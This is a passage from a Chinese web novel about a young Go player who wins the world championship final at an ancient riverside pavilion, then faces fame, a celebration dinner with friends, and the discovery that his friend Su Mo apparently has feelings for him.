于是,他给了老太太一个承诺,“奶奶,您放心,您所有的愿望,孙儿都会帮您实现的。”- “傻孩子,奶奶最大的愿望就是你好好读书,平安喜乐,健康顺遂。” “哇,奶奶,您居然还会成语啊,真是看不出来啊!”- “你这孩子,就爱取笑奶奶,我这老太婆虽然确实不怎么识字,但电视里都这么说,背都背会了。” “哈哈哈哈,好吧好吧,奶奶最厉害了!” * 正月初八,年刚过完,祖孙俩就回到了墨城。 几天后,纪辰新收到了学校延迟开学的消息。 原本定在正月十六开学的日子,在暴雪的肆虐下延迟到了二月初,也就是阳历三月初的左右,这一举动,差不多整整延迟了半个月。 正所谓有人欣喜,就有人忧,而纪辰新就是那个欣喜之人。 因为第三轮世赛就在三月初,甚至地点都因为天气原因被定在了墨城这个四季如春的地方! 这可不就是老鼠掉进米缸,因祸得福了吗! 纪辰新晚上睡觉都差点笑醒,白天练棋更加卖力了。 墨城可是他的主场啊,必须得发挥出全部实力,不能有一丝遗憾! 帝都的暴雪连续下了两个多月后,终于有了稍稍停下的趋势。 上面动用了各种力量迅速清理积雪,维修设备,三天时间,将供电供暖等绷断问题全部解决。 当然,这些消息,纪辰新自然是从新闻以及苏陌那里得知的。 其实不止帝都受到了暴雪的影响,北方大多数城市都沦陷了,总而言之,这个年全国都过的不是很好,因为太冷了。 就连呆在墨城的纪辰新,都罕见地感受到今年墨城的冬天不同于往年,气温低到他都不愿意出门了。 正月二十三号,帝都的雪完全停了,随后全市进入了铲雪阶段。 * 阳历三月初,纪辰新独自背着包去了市里。 这次,他是最先抵达的选手,整整提前了一天过来。 世赛这次安排的比赛地点是一座古建筑风格的楼宇,名为金明楼。 金明楼矗立在墨河中的矾石上,以河中巨石为基而建,是一座三层三檐四角攒尖顶的阁楼。 栏杆是白色雕花石,檐角翘丽,造型优美。 楼体朱梁碧瓦,与周围的水光山色相互映衬。 纪辰新并未走近,选择了隔河相望,视线里,楼前玉桥如白龙卧波,贯通两岸,碧波荡漾,微风拂过,送来阵阵清凉,别有一番诗情画意。 在墨城生活的这七年,这还是他第一次知道墨城还有这么风景独特的地方,简直令人惊艳。 费了番时间,他从桥上走过去。 直到来到金明楼下,他才有种身临其境之感,这般美好的风景,只用来下棋,未免太奢侈了些。 不待他欣赏什么,工作人员先一步认出他。 “纪选手,你这么早就来了?” 纪辰新点头,说明来意,工作人员便友好地带着他参观起来。 “场地还在布置,想要参观的话,请跟我来。” 就这样,纪辰新跟着他来到了金明楼的三楼,三楼视野比之一楼二楼更广阔,室内整个色调都是古风古色的,重点是往外一看,直接就能欣赏到河面的风景以及楼前玉桥。 “晚上的风景更漂亮,河灯一燃,保管你赞不绝口。” 工作人员如此介绍道。 纪辰新笑笑,“可我们又不是晚上比赛。” “哎哟,你说的哪里话,今晚就可以看呀,酒店离这儿也不远,八点左右过来,一定能看到的。”工作人员形容的眉飞色舞。 纪辰新点头应下,随后看了眼现场布置。 棋桌是由深褐色的老榆木制作的,纹理行云流水,边缘还被岁月磨的温润发亮。 特别是桌腿,用的是古朴的方形束腰样式,没有多余的装饰,却透着一股沉厚的古韵。 棋盘嵌在桌面中央,黑白线条遒劲利落,像古时棋手用墨笔亲手勾勒而成。 纪辰新凝望棋盘时,仿若穿越了千年时光,正与古时雅士隔空对弈。 微风穿亭而过,带动檐下的铜铃轻响,好似一副古风画卷。 良久,纪辰新才走出金明楼,心里也莫名有了底。 千百年来,能人异士们倾注在围棋上的心血不知凡几,而他,终将会把这一切都传承下去,以绝对胜利者的姿态! * 比赛当日,纪辰新早早起了床。 八点不到,他就已经吃好早餐并来到了金明楼下。 由于比赛的缘故,整座楼在昨晚就已经全面戒严。 纪辰新先是进去签到,随后便是在工作人员的带领下,接受了一个采访。 采访的内容问的都是紧不紧张,有没有信心夺冠等问题。 纪辰新采访完出来,恰好就与迎面过来的森川曜打了个照面。 俩人陡然对视,皆愣了一瞬。 工作人员恭敬地将森川曜引入采访间,然后问了跟他同样的问题。 纪辰新没走,留在外边听了一耳,随后,他就发现这人居然会一点简单的中文? 还真是令人惊讶啊! 毕竟,他这三个月是有研究过此人的,基本属于不苟言笑的那种,别说是中文了,就是让他说日语都不怎么开口的那种人还真是稀奇! 纪辰新听了会儿,就直接去了三楼真正的比赛地点。 第三轮比赛,也叫做决赛。 四人各自为战的规则,先进行两场半决赛,三局两胜制,胜者晋级双人决赛,决赛按照五番棋决出最终胜者。 这四位选手里,除了他,其余三位都来自日本与韩国,其中日本选手占了两个名额,一个是森川曜,一个是宫本佐藤。 说起宫本佐藤,纪辰新还记得上次崔文和就是败给了他,才淘汰的。 也不知道这次,自己还有没有机会再与他碰一碰呢? 八点四十的左右,主办方进行了选手抽签。 很不幸,纪辰新的想法落空了,与他对战的又是一位韩国选手。 而他心心念念的宫本佐藤,非常戏剧性的对上了他们自己本国的神童,森川曜。 一时之间,纪辰新都不知道该说他是倒霉还是倒霉了。 比赛正式开始前,数十架摄像机如沉默的哨兵般错落排布,黑色的镜头筒对准棋桌中央,负责捕捉棋手每一次落子的瞬间以及他们的神态变化。 部分摄像机则架在可移动滑轨上,缓慢滑行时几乎无声,仅镜头转动的轻微声响被现场的寂静放大。 屋檐下,回廊里,所有工作人员身着深色工装,低头调试设备,耳机里不时传来导播的指令,与远处偶尔响起的檐角铜铃交织。 整个比赛过程,将会实行全球直播。 这是一场世界级的比赛,就连古建筑斑驳的木制纹理都被清晰定格,仿佛要让屏幕前的观众们一同置身于这场穿越古今的棋韵盛宴之中。 第98章 九点, 比赛正式开始。 纪辰新与韩国选手的对战,从一开始就很顺利。 三局两胜的对战机制,11点半左右, 纪辰新就因为连赢两局,直接终结了比赛。 另一边,森川曜也是在差不多的时间出来的。 由于俩人都是提前结束比赛,所以中午休息的时间因此延长。 主办方给俩人都准备了专属的休息室,纪辰新吃完饭后,就在休息室内观看森川曜上午的比赛。 系统:【有什么头绪没?】 纪辰新面前正摆着一台笔记本电脑, 是主办方为棋手准备的, 就放于休息室内。 只见纪辰新撑着下巴, 滑动鼠标道,【不好说啊,这人手段了得, 我也没有十成的把握。】 系统:【不应该啊, 他总不能比苏陌还厉害吧。】 纪辰新没好气道, 【我说没有十成的把握, 不代表我没有八成九成的把握, 我只是比较担心,他还有隐藏的杀招或是打法没有完全显露出来。】 系统:【行, 你心里有数就好。】 与此同时, 另一个休息室内, 森川曜也在用笔记本电脑进行着同样的操作。 他的屏幕上正赫然播放着纪辰新上午的比赛。 对他来说,这三个月苦练,唯一让他没底的就是这位叫纪辰新的棋手。 网络上基本搜不到他多少信息,世人对他的了解更是少之又少,但就是这样一个人, 进入世赛后瞬间成为了一匹黑马,隐隐有夺冠的趋势,这如何能令他安心? 事实证明,他的忧虑不无道理,这人此刻还真就进入到了与他决赛的地步。 休息时间逐步减少,森川曜却越来越精神,他盯着屏幕,以1.5倍速研究纪辰新的落子与布局,遇到不理解的地方,他还会暂停思索。 整整两个半小时,他连饭都没去吃,就啃了个三明治以及一个苹果。 * 下午两点,比赛正式开始。 森川曜身穿米白色剑道服,外套下摆扫过地板,率先一步落坐到位置上。 纪辰新紧随其后,在他对面坐下。 森川曜的额发被水浸湿,就好像他刚洗了个冷水脸似的,整个人显得既清醒又亢奋。 他的睫毛很长,垂落时在眼睑下投出一小片的阴影,尤其是他那双眼睛,像淬了冰的刀,精准地落在星位的黑子上,落子瞬间,指节泛着冷白的光。 他执黑先行。 纪辰新盯着他落子的位置,握住白子的力道也微微发紧,对方星小目开局,算是很平常的打法,看来与之前研究的并不二致。 一吸一呼之间,纪辰新稳住了心神。 俩人你来我往,平静之下却又暗藏汹涌。 突然之间,森川曜不按常理出牌,二间高挂后陡然脱先,在另一侧棋盘落下孤子,像是随手撒下的诱饵。 纪辰新下意识想去断,指尖悬在半空又收回,那孤子周围暗藏伏兵,一招不慎,便会陷入劫争陷阱。 棋局已至中盘,白棋在右边形成厚实的规模,正准备下一步扩张,森川曜猝不及防祭出‘倒脱靴’,硬生生从白棋的包围圈里劫走十几目实地。 纪辰新愣了愣,抬眼间,却对上了森川曜嘴角那抹极淡的笑意,那抹笑意里没有得意,只有一种尽在掌握的冷静,却比直接的挑衅更让人窒息。 “呵~” 纪辰新气笑了。 他承认他之前有点轻敌了,目前白棋已成劣势,甚至还被森川曜精准预判,每一步应对都像提前算好的剧本,密不透风。 听到他的笑声,森川曜利落的收拾吃掉的白子,然后用略带生硬的中文道,“你的棋,太急了,因为你太想赢了。” 纪辰新深吸了一口气,随后重新将视线落回到棋盘上,在观察了几十秒后,了解了症结所在。 还没有到绝境,还有一线生机,那就不一定会输! 只见他在右下角做出两眼活棋,森川曜瞥了他一眼,随之调整策略,与他周旋起来。 纪辰新不慌不忙,每一步都只走在‘看似无关紧要’的位置,看起来就像是乱下。 但正是这样,每当黑棋想要进一步蚕食白棋时,白棋都能轻轻一点,让黑棋的出路变得狭窄。 这是一种‘润物细无声’的打法,不与你激烈的抗争或是强攻,却总能用最简洁的棋步瓦解你的意图。 森川曜越下越憋屈。 收官阶段,纪辰新已经逐步扳回一部分劣势,终于昂首挺胸起来,“知道为什么会这样吗,因为你的眼睛,只看到了局部。” 闻言,森川曜指甲几乎要嵌进掌心。 这一局,他俩可谓是都没讨到好。 纪辰新由于轻敌,错失了先机导致被动,而森川曜由于提前开香槟庆祝,导致盲目,跌入陷阱。 最终,森川曜以半目之差告负。 然而,尽管赢了,纪辰新心情也好不到哪去,因为他赢的不得劲,赢的不痛快,半目之差,这对他来说,跟输了有什么区别? 森川曜亦然,他懊恼、悔恨、且不甘! 他并不觉得自己输了,若是重来一次,他一定能将纪辰新打趴下! 此一场,双方都觉得没发挥好,只等着下一局重新洗牌! 第二局就是在这样的基础上开始的。 纪辰新执黑先行,落子前,他沉寂了一下内心,‘以静制动’不能再急于求成,而是慢慢铺陈棋形。 森川曜拿出了他宇宙流的风格打法,以中腹为中心,势力圈越来越大。 纪辰新并没有选择贸然进入,而是在边角耐心做活,一点点积累实地。 森川曜几次三番挑衅,想要引纪辰新进入中腹决战,纪辰新都不为所动,只在关键时刻守住自己的地盘。 中盘后期,森川曜的中腹势力已具规模,他终于按捺不住发起了总攻,试图将纪辰新边角的棋子全部吃掉。 不曾想,纪辰新就等着这一刻,突然在中腹投下一颗黑子,看似孤注一掷,实则暗藏玄机。 这颗棋子就像一颗钉子,钉在了森川曜势力圈的核心,让他原本牢不可破的中腹瞬间出现裂痕。 森川曜的脸色陡然难看,他盯着棋盘看了足足三分钟,手指在棋子上反复摩梭,最终他选择强攻这枚黑子。 纪辰新瞬间借力打力,将中腹势力撕开一大道口子,硬生生抢回三十多目实地。 森川曜此刻手心全是汗,他抓住纪辰新一处看似断点,果然打入。 纪辰新突然弃子,转而在左边盘成新的势力圈,那处被森川曜吃掉的黑子,反而成了诱饵,让白棋瞬间变的臃肿。 这一局,纪辰新以四子优势获胜。 他放下棋子时,张扬到欠揍,“啧,就该这样,舒坦了,你服不服?” 森川曜已经连输两局,这对他的职业生涯来说是重创,他内心的压力已然达到了顶峰,如果再输一局,他将无缘冠军。 此人怎会如此之强? 第一局,他还能侥幸地告诉自己是没发挥好,但现在,这个理由不成立了。 纪辰新与他之间,好似真的有一道无法跨越的鸿沟。 森川曜被他这么一激,陡然充满了斗志,他不信自己真的会败! 第三局开始,他摆脱了之前的棋风,开局就变的异常凌厉,以星位、小目、三三组合,形成立体布局,步步紧逼。 纪辰新沉着应对,双方在棋盘重新展开激烈厮杀,每一步都关乎生死。 中盘时,棋盘出现了一个巨大的劫争,涉及双方近五十目实地,一旦输掉这个劫,便会满盘皆输。 森川曜算数精准的可怕,每一个劫材都提前算到,纪辰新好几次都以为自己找到了对方的破绽,却都被森川曜巧妙化解。 俩人的劫争持续了三十余手,纪辰新都开始浑身冒汗了,大脑飞速运转,几乎要透支。 就在他举步维艰之时,突然想起森川曜一直以来的棋风,看似完美,却总在最关键的时刻会为了保持棋形的优雅而放弃一些微小的劫材。 纪辰新立马抓住这一点,故意抛出一个看似价值不大的劫材,森川曜果然犹豫了一瞬。 就是这一瞬,纪辰新果断提劫。 森川曜陡然瞪大了眼睛,不! 纪辰新亲眼目睹他的绝望,坚定落子。 决胜局的氛围凝重到极致,整个赛场鸦雀无声。 纪辰新闭了闭眼,打算给他一次机会,棋局仅剩最后一丝生机,若森川曜能利用得当,也不至于输的太难看。 所以在后一步棋,纪辰新没有选择赶尽杀绝。 只见他突然弃子,转而在右边盘打出一记‘手筋’。 这步棋超出了森川曜的预料,他盯着棋盘,脸上露出了难以置信的神情,声音带着一丝颤抖,“你居然会弃掉那里?” 纪辰新没说话,只是继续落子。 森川曜阵脚被打乱,却应对的异常谨慎,每一步都要思考许久。 他不禁回忆起,上一局棋,纪辰新也是突然弃子,结果那是个陷阱,这一次他绝对不能再上当了! 纪辰新眼睁睁看着他错失良机,一步一步走向灭亡。 “森川曜,这次,我不会再收下留情了。” “什么?” 回应他的,是纪辰新越来越凌厉的攻势,棋子如潮水般涌入白棋的腹地,森川曜的棋形一度溃不成军,就连观棋师父都连连蹙眉。 收官阶段,森川曜还在做最后的挣扎,却被纪辰新稳稳守住,最终以三子之差落败。 棋局结束的那一刻,森川曜瘫坐在椅子上,盯着棋局良久,沉默不语。 最后的最后,他终于明白自己错过了什么,然而,抬起头的那刻,纪辰新早没了踪影。 他突然释然的笑了。 随即对着虚空,对着纪辰新的位置深深鞠了一躬,“你赢了,我心服口服!” 第99章 【系统, 现在这样算不算完成任务了?】 此刻,纪辰新正站在世赛颁奖台上,手握奖杯, 礼貌微笑。 聚光灯从头顶洒下,四面八方都是摄像头,将他的一举一动完全记录。 纪辰新僵硬到不敢乱动,配合着主持人的各种说辞,就连获奖感言他都只有简简单单的一句话,“以棋为媒, 不负热爱, 未来我仍将心怀敬畏, 在黑白世界里继续深耕。” 系统此刻已经激动到语无伦次了,【世界职业围棋锦标赛冠军,无论原先段位如何, 一律晋升为九段, 这是明确的制度性奖励。】 【宿主, 你现在已经比男主先拿到职业九段了!】 【按理说, 你现在是符合要求的, 下一步就可以代替苏陌成为男主了。】 【但目前剧情发展还没到原著《围棋圣手》断更的那个情节,所以我也不敢保证。】 纪辰新表面镇定, 内里却在崩溃, 【什么叫不敢保证, 老子花了这么大力气才升到九段,你现在跟我说不敢保证?】 系统急忙安抚:【欸欸欸,别急呀,剧情就快到了,今年的职业赛已经开始, 苏陌这次参加,不出意外的话,是能从八段升至九段的,原书作者就是在写完苏陌拿到九段后断更的。】 【只要苏陌拿到九段后的第二天不再进入循环,而是进入到新的一天,新的日期,任务就算完成!】 纪辰新没了耐心,【到底有没有具体日期,这样等要等到什么时候?】 系统连忙翻阅,【有有有的,别急,我翻一下,5月17日,没错,就是5月17日!】 纪辰新原本蹙着的眉头瞬间松动,【今天是3月3,意思就是还有2个半月的时间啰。】 系统狠狠点头,【宿主,这么多年都等过来了,咱再等两个多月也无妨不是吗?】 纪辰新轻嗤了一声,表示不想再理他。 * 3月7日,纪辰新坐上了返校的火车。 尽管目前他已经拿到了一大笔财富,但是勤俭的观念已经在他脑子里根深蒂固。 他和奶奶已经商量好,先将这笔钱存起来,等奶奶跟巷子里的房东谈好价格,他们再搬回去。 纪辰新对此并无异议,奶奶是杀价的一把好手,这事交给她去办,他很放心。 至于他,目前就是得过且过,顺顺利利的挨到5月17那一天。 关于他夺冠的消息,这几天,已经有很多媒体过来找了,各种邀约他上电视,或是接受采访。 纪辰新全都不为所动。 此外,以前的各种同学朋友,甚至不太熟的邻居也都来套近乎,惹的纪辰新不胜其烦。 原来这就是成为名人的代价吗? 也不知道,苏陌这些年是怎么过来的。 毕竟,他这些年,一直这么出名,还被人誉为围棋天才,困扰一定不比自己少。 思索到这,纪辰新心里又莫名打起鼓来。 现在他横空出世,算不算是抢了苏陌的风头呢? 苏陌会不会不高兴啊? 带着这种复杂的心情,纪辰新终于是在3月8日抵达了帝都。 然而,他一出车站,外面居然围着一堆狗仔,逮着他就拍! 其实,在火车上时,他就隐隐感觉到被人监视了,只是没想到,出了站,才是真正的小巫见大巫。 车站口,一时间被围的水泄不通。 纪辰新一时间都感觉自己没法下脚。 千钧一发之际,有人一把握住了他的手,然后一举将他从人群里拉了出去。 纪辰新怔怔地望着那人的背影,只见他戴着个鸭舌帽,口罩也遮住了一半的面容,甚至连眼睛都戴了墨镜遮掩。 但当那人回头,沉默地望着他时,纪辰新却鬼使神差地将他认了出来。 是—苏陌! 纪辰新也不知道自己为何这么肯定,但他就是确信。 见他不再挣扎,而是极其顺从地跟着自己,苏陌顿了一下后,握住他的手劲更大了。 就这样,纪辰新跟着他来到了一辆黑色轿车前,下一秒,轿车的玻璃窗缓缓摇了下来,赵言权正嬉皮笑脸地跟他打招呼。 “快上车!” “你现在的名气,堪比明星啊!” 纪辰新无奈叹气,随后跟随着苏陌的步伐,迅速进到了车里。 那些狗仔就跟在两米开外,见人上了车,怼着那镜头还想伸进车里拍。 “启动吧!” 苏陌发话了,司机一刻也不敢耽搁,一脚油门踩下去,瞬间飞驰。 纪辰新上了车才放松下来,一脸苦恼。 赵言权好兄弟般地搂他肩,“要不是帝都这场暴雪,说什么,我也要去比赛现场支持你的。” “不过你放心,你的比赛我全程都看了,上厕所都不敢动。” “噗”纪辰新被他逗笑,“好吧,你的心意我了解了。” 这边,苏陌也终于卸下了自己的全副武装,“如果他们发现我们俩凑一起,估计又有新话题了,甚至还会造成混乱,所以我才” 他说的意思,纪辰新懂。 现在媒体已经在俩人之间拱火了。 什么昔日围棋天才跌下神坛,名不副实,新晋围棋九段才能真正的天才,他俩究竟谁更厉害等话题,炒的到处都是。 反正是各种拉踩,令人反感且不舒服。 然而,在这件事上,赵言权第一个不服。 “三个人的故事,凭什么我没有姓名,我的棋力也不差好吧,我们难道不是围棋三剑客吗。” “我不管,我要保住我第二的位置,万年老二只能是我!” “” 纪辰新尴尬地笑着,却又不自觉地用余光默默观察苏陌的反应,就怕他心有芥蒂。 那些炒作的话题铺天盖地,苏陌肯定都看到了。 而且那些原本追随他的粉丝,现在有不少都开始摇摆甚至倒戈,这换了谁心里都会不舒服吧。 然而纪辰新打量了他好几眼,却发现他从始至终都面容沉静,神色平淡,好似真的不在意,甚至还将一个热水袋塞进了他手中,语气温柔道,“刚握你的手,很冷,暖暖吧。” 纪辰新接住热水袋的瞬间,心里很不是滋味,自己怎么能这样想苏陌呢,苏陌是什么样的人,难道还不够清楚吗? 他们才不会因这种无关紧要的事情,伤害到友情的! * 三人并没有第一时间去学校,原因是,赵言权说他准备了一桌庆功宴,要为纪辰新庆祝。 他定的地点是帝都一个很出名饭店,结果不知怎么的,当他们抵达包厢时,崔文和已经不请自来,在包厢里候着了。 赵言权当即就嘁了一声,表示不欢迎。 崔文和无所谓地撩了撩头发,笑道,“我是来给纪辰新庆祝的,你嘁什么嘁,纪辰新都还没发话呢。” “纪辰新你说,你要赶我走吗?” 崔文和用他那双含情眼直勾勾地盯着纪辰新,语气缱绻。 纪辰新受不了他这样的眼神,正想避开,却没曾想,苏陌突然一步上前,挡在了他面前,语气寒凉道,“他不欢迎,慢走不送。” 崔文和原本含情的眸子在面对苏陌时,顿时变得犀利,“我看是你不欢迎吧,我要纪辰新亲自说。” “纪辰新,我们即便不是好朋友,也算是普通朋友吧,现在普通朋友想要与你庆祝一番,你也要推辞吗?” 他将自己的定位划分的很清晰,并没有摆出自己追求者的身份,而是以一个普通朋友的身份在做请求,这样一来,纪辰新根本没有拒绝的理由。 而且,纪辰新是个体面人,不会让他难堪。 他在赌,赌纪辰新会给他这个体面。 “算了,就让他在这吧,简单庆祝一下而已,吃完饭就散了。” 纪辰新最终还是给了他这个面子。 “bingo!”崔文和顿时打了个响指,开心极了,“我就说吧,你们都别想拦我!” 然而,他高兴的还是太早了。 位置的安排,苏陌占据了纪辰新的左边,赵言权则占据了纪辰新的右边。 这是一个大圆桌,他现在要不就挨着苏陌,要不就得挨着赵言权坐,实在不愿,就只能坐对面去,而那里是离纪辰新最远的地方。 人在无语的时候,真的会笑。 崔文和是真笑了,因为他就像贼一样被防着。 没事,他能忍,只要今天能与纪辰新见面并吃饭,他就很满足了。 吃饭的过程,少不了喝酒。 虽然他们现在还差几个月才成年,但赵言权还是点了几瓶啤酒。 他起先一步,倒好酒就开始敬,“兄弟,恭喜你夺冠。” “这杯酒就祝你以后打遍天下无敌手,顺便分我点好运,你必须喝哈!” “老子我沾沾喜气,争取以后也混个冠军当当,嘿嘿。” 他都这么说了,纪辰新哪有不喝的道理,只见他端着酒杯与他碰了一下,“行了,好运给你了,祝你也去拿个冠军!” 说罢,俩人就一饮而尽。 紧接着,崔文和也不示弱地端起酒杯,朝纪辰新的方向靠近了几步,“纪辰新我也要敬,既喝了他的酒,那我这杯也不能少哦。” 纪辰新现下正开心,就没有拒绝,“好。” 崔文和笑着道,“这样吧,我就敬你,不,敬冠军,看着你在领奖台上的样子,我比自己拿奖还开心,谢谢你出现在我的生命里,让我拥有了全世界的光,我” 唯恐他说下什么昏头的话,霎时间,纪辰新额角猛地一跳,立即打断道,“好了,喝吧,我知道了。” 崔文和被打断,下意识咬了咬嘴唇,委屈道,“纪辰新,我还没说完,我还想敬” 敬自己藏在心底的喜欢,对你的喜欢 然而回应他的是,纪辰新肃然凌厉起来的眸子,仿佛他再说下去,他们连普通朋友都没得做了。 崔文和看懂了这一层含义,脸上霎时没了血色,而后咽下了要说的话,坐回了原位。 气氛陡然压抑,好像有什么东西正在暗流涌动。 崔文和没说完的话,到底是什么,苏陌却听的明白。 只见他也端起了酒杯,“终于等到你夺冠的这一刻,这份荣誉实至名归,愿你永远保持热爱,祝你前程似锦,愿这杯酒能承载我所有的祝福,祝你此后顺风顺水,所求皆所愿,所行皆坦途” 愿你永远被爱包围,愿你永远耀眼,而我会一直默默守护。 少年指尖捏着酒杯,指节微微泛白,杯沿碰过对方杯子时轻得像怕惊扰了什么。 他垂下眼睫,喉结滚了滚。 “这杯酒,我干了,你随意。” 酒入喉咙,尽是苦涩,却怎么也压不住眼底、心底翻滚的热意。 那句没说出口的话,全随着酒液咽进了心底,只剩下一句模糊的“你随意就好”,飘在空气里没了踪迹—— 作者有话说:崔文和:呜呜呜呜,我只是想表达自己的心意而已,为什么那么难! 苏陌:你错在不该表达,就应该像我,憋着不说[爆哭]这样还能安慰自己做一辈子朋友[小丑] 第100章 再次回到学校, 纪辰新的人气不出意外地比上个学期更高了。 不少之前关系一般般的同学都过来串寝,时不时地还找他合照甚至签名。 其中侯杨是舞的最欢的,只见他一连拿出二三十张纸, “兄弟,我的好兄弟,帮帮忙,我都答应人家女生了。” 纪辰新看着摆在自己桌面上的那一沓纸,额角直抽抽,“你当我这搞签售会呢?” 张景龙都帮着吐槽了, “侯杨, 不是我说你, 在外少答应些有的没的,你让辰新兄弟多为难啊。” 侯杨也知道自己做的是有点过,连忙将自己买好的可乐和汉堡堆在纪辰新面前, 随后又是给他锤手, 又是捏肩的, “就这一次, 我保证下不为例, 求你了!” “还有,还有, 我可以帮你打一个月的饭, 正好你也很困扰出门, 你觉得呢?” 不得不说,这话是真说到纪辰新心坎里了,自从开学以来的这一个礼拜,他只要出门,就没有哪一次能身心舒畅, 自由自在的。 大家只要看到他,就跟开了自瞄器一样,视线自动追随,还有各种离谱抓拍的,导致他除了上课之外,如非必要,其他时间根本不敢出去。 毕竟就连学校论坛里面,随便点开一个帖子,百分百都有他外出的身影,来自各种不同角度,不同位置的抓拍,他已经完完全全的出名了。 这是他之前从未预想到的,对他来说,只不过一个世赛冠军罢了,拿了也就拿了,怎么能这么受欢迎呢。 为此,赵言权给出的解释是,“谁让你长那么帅,还那么年轻的,你知不知道你是世赛成立以来最年轻的冠军得主!” 赵言权说这话时颇有点咬牙切齿的味道。 纪辰新当时似懂非懂的接受了这一言论,现在面对侯杨说的要给他打一个月饭的事,极其欣然地答应了。 “好,那就一言为定,不许反悔哈!” 解决了这件事,他的心情也跟着好了起来,连签名都没那么抗拒了。 苏衍就在他对面床铺,自开学以来,俩人又默契的恢复成了上学期的状态。 主要原因是,纪辰新对他依旧是那副无所谓的态度,而苏衍在寒假期间就憋着一股气,一直没散,所以就拉不下脸面。 这边他正独自生着气,那边纪辰新却跟室友谈笑风声,结果就是,更气了。 “哼!” 不知不觉中,他又冷哼了一声。 就连侯杨和张景龙都不约而同地对视了一眼,觉得苏衍莫名其妙,脑子就像是被驴踢了一样。 让他一起下来聊聊,又不聊,他们一聊,他又哼哼唧唧个没完。 真是难搞又矫情的很。 纪辰新也莫名朝身后那个床铺望了眼,但只一眼,他就又投身于签名之中了。 这段时间,其实苏陌也提出过,让他再次搬到他那套公寓去。 毕竟,就连辅导员那里也不再有阻碍,学校了解到他出行不方便,都跟他打过招呼了,说是有任何要求尽管提。 这可是作为冠军的福利,实打实的。 换了之前,他哪有这个权力和面子啊,看来所谓的走读标准,是可以因人而异的。 不过,纪辰新暂时还不打算搬,他想等一切尘埃落定,也就是5月17日平稳度过之后,再从学校搬出去,反正也没多久了。 * 周日,纪辰新在上了一个礼拜的课后,应赵言权的约去了帝都最豪华的电竞网吧。 网吧的位置,处于帝都黄金地段。 纪辰新赶过去时,还要经过几个大商场,里面专柜正在售卖各种名牌。 赵言权早在半个小时前就开好机,等着他过来了。 只不过,当纪辰新在经过一个商场的大门时,却突然被身后一位穿着精致小香风外套的女生叫住了。 “你好,你是不是叫纪辰新?” 女生声音清甜,笑容清纯。 纪辰新闻言,愕然回头,然而仔细打量女生半响儿,都只觉得陌生。 他敢肯定,这人自己不认识。 但一想到自己在学校的出名程度,就将女生认成了自己同校的校友。 思及此,纪辰新朝她点了点头,并给了她一个礼貌的微笑。 女生盯着他瞧,尤其在看到他的笑容后,眼眸蓦地一亮,瞬间惊喜道,“果然是惊为天人,难怪苏陌会对你情根深种。” 什么? 什么情根深种? 纪辰新怀疑自己听错了,或是女生在乱用成语说错了。 但这人能准确说出他和苏陌的名字,就更加肯定了纪辰新内心的猜测,这女生估计就是他们同校的校友了。 正当他想要纠正女生的错误用词时,面前的女生却再次语出惊人。 “你好,我叫谢语茉,是苏陌的前未婚妻,之前不知道你们俩的关系所以才不过你放心,苏陌跟我说清楚后,我就让我爸去他家退婚了。” “没想到,你真人比照片还要帅,你们俩实在是太登对了!” “怎么只有你自己出来逛街,苏陌没陪你吗?” “噢对了,听说你拿了世赛冠军,还没祝贺你呢” “” 在这一句一句的问话里,纪辰新的脑子差点短路了。 什么叫你们俩的关系? 他和苏陌能是什么关系? 什么叫太登对了? 他和苏陌什么时候是一对了? 什么叫苏陌没陪你吗? 为什么要陪? 为什么要他陪? 凭什么? 还有女生暧昧的笑容,瞥见他时那种磕到了的眼神,这所有的一切都在指向一个真相。 抽丝剥茧。 纪辰新恍惚地记起苏陌说他喜欢男的,甚至前不久,苏陌还说过已经跟另一个当事人解释了自己心有所属。 合着这个当事人就是面前的这个女生? 合着他跟当事人说,他们俩是一对吗? 所以,苏陌心有所属的人是他? 纪辰新只感觉一口气上不来,浑身血液都被冻结,胸口也被巨石压住。 晴天霹雳的程度,不亚于上次崔文和跟他表白。 不不不,还是有区别的。 起码苏陌还没有跟他表白,那是不是就证明这一切都不一定是真的? 纪辰新无法形容自己是如何浑浑噩噩地来到网吧的。 赵言权看到他之后,嘟嘟囔囔道,“你怎么来的这么晚,干啥呢。” “快快快,上号,我已经拉了另一个游戏好友在等着了。” 纪辰新像是丢了魂儿似的,怔怔地坐在位置上,还在思考。 【系统,这一切都不是真的对不对?】 系统尴尬回应,【这我也不知道啊。】 【要不你去问问,苏陌本人?】 纪辰新直接应激了,【淦!你丫的,这能随便问吗?】 赵言权伸出手在他眼前晃了晃,“你怎么了,想什么呢,脸色怎么煞白的。” 纪辰新不由回神,摸了下自己的脸,笑的比哭还难看,“呵呵,没什么。” 赵言权担忧道,“真的假的,你确定?对了,苏陌等下也会过来,说是请我们吃烤肉呢。” “不,不行!” 纪辰新顿时脑子一轰,强烈反对。 可能是意识到自己情绪过激,转而他又尴尬地解释了句,“我最近上火,就不吃了。” “那没事啊,吃别的就是了,反正他请客,咱不吃白不吃。”赵言权嘿嘿笑着,看了眼手机道,“喏,他说他还有五分钟就到了。” “那啥我好像有点积食了,就不吃了啊,我先走了。” 纪辰新闻言,立马坐不住了,想都不想就要走。 “啊?你刚来就走啊,今天咱们不是约好了开黑吗?”赵言权惊呆了,直愣愣地看着他。 纪辰新捂着肚子,“真不舒服,我先回去了,我们改日再约吧。” 说着,他一溜烟就跑了。 留下赵言权一头雾水,后知后觉,他才想着追上去,“那个,我送你去医院看看吧。” 然而,当他走出去后,哪还有纪辰新的影子。 赵言权再次拿起手机,给他发消息,【你怎么回去,搭公交车?】 【别回去了,我带你去医院。】 纪辰新此刻正躲在马路对面的一家饮品店,回应道,【没事,没事,我直接去了附近诊所,你别管我了,我自己能回去。】 他刚说完这话不久,就看到一辆熟悉的黑色轿车在马路对面停下,随后苏陌穿着一件深黑色的羽绒服下了车。 赵言权成功与苏陌对接,两句话的功夫,苏陌就拿出了手机打电话。 纪辰新一低头就看到了手机屏幕上显示的来电,一时纠结不已,到底接还是不接呢? 在他犹豫的功夫,时间一分一秒过去。 当对面打来第三个电话时,他终于深吸一口气接通了。 “喂?” “纪辰新?” “你怎么了?” “怎么这么久才接,是出什么事了吗?” “你在哪个诊所,我来找你。” 每一句话,都像是一句催命符,纪辰新脑子里此刻正在进行天人交战。 他不知道自己该说什么,又不该说什么。 他想要试探,如果一切都是假的,如果苏陌根本就没有那个意思呢,是不是就皆大欢喜了? 对,只要他没有这个意思,那他们就还是好朋友。 如此,他颤抖着,用稀疏平常的语气,提了句。 “苏陌,你认识谢语茉吗?” “那个,我今天下午遇到她了,然后聊了聊。” 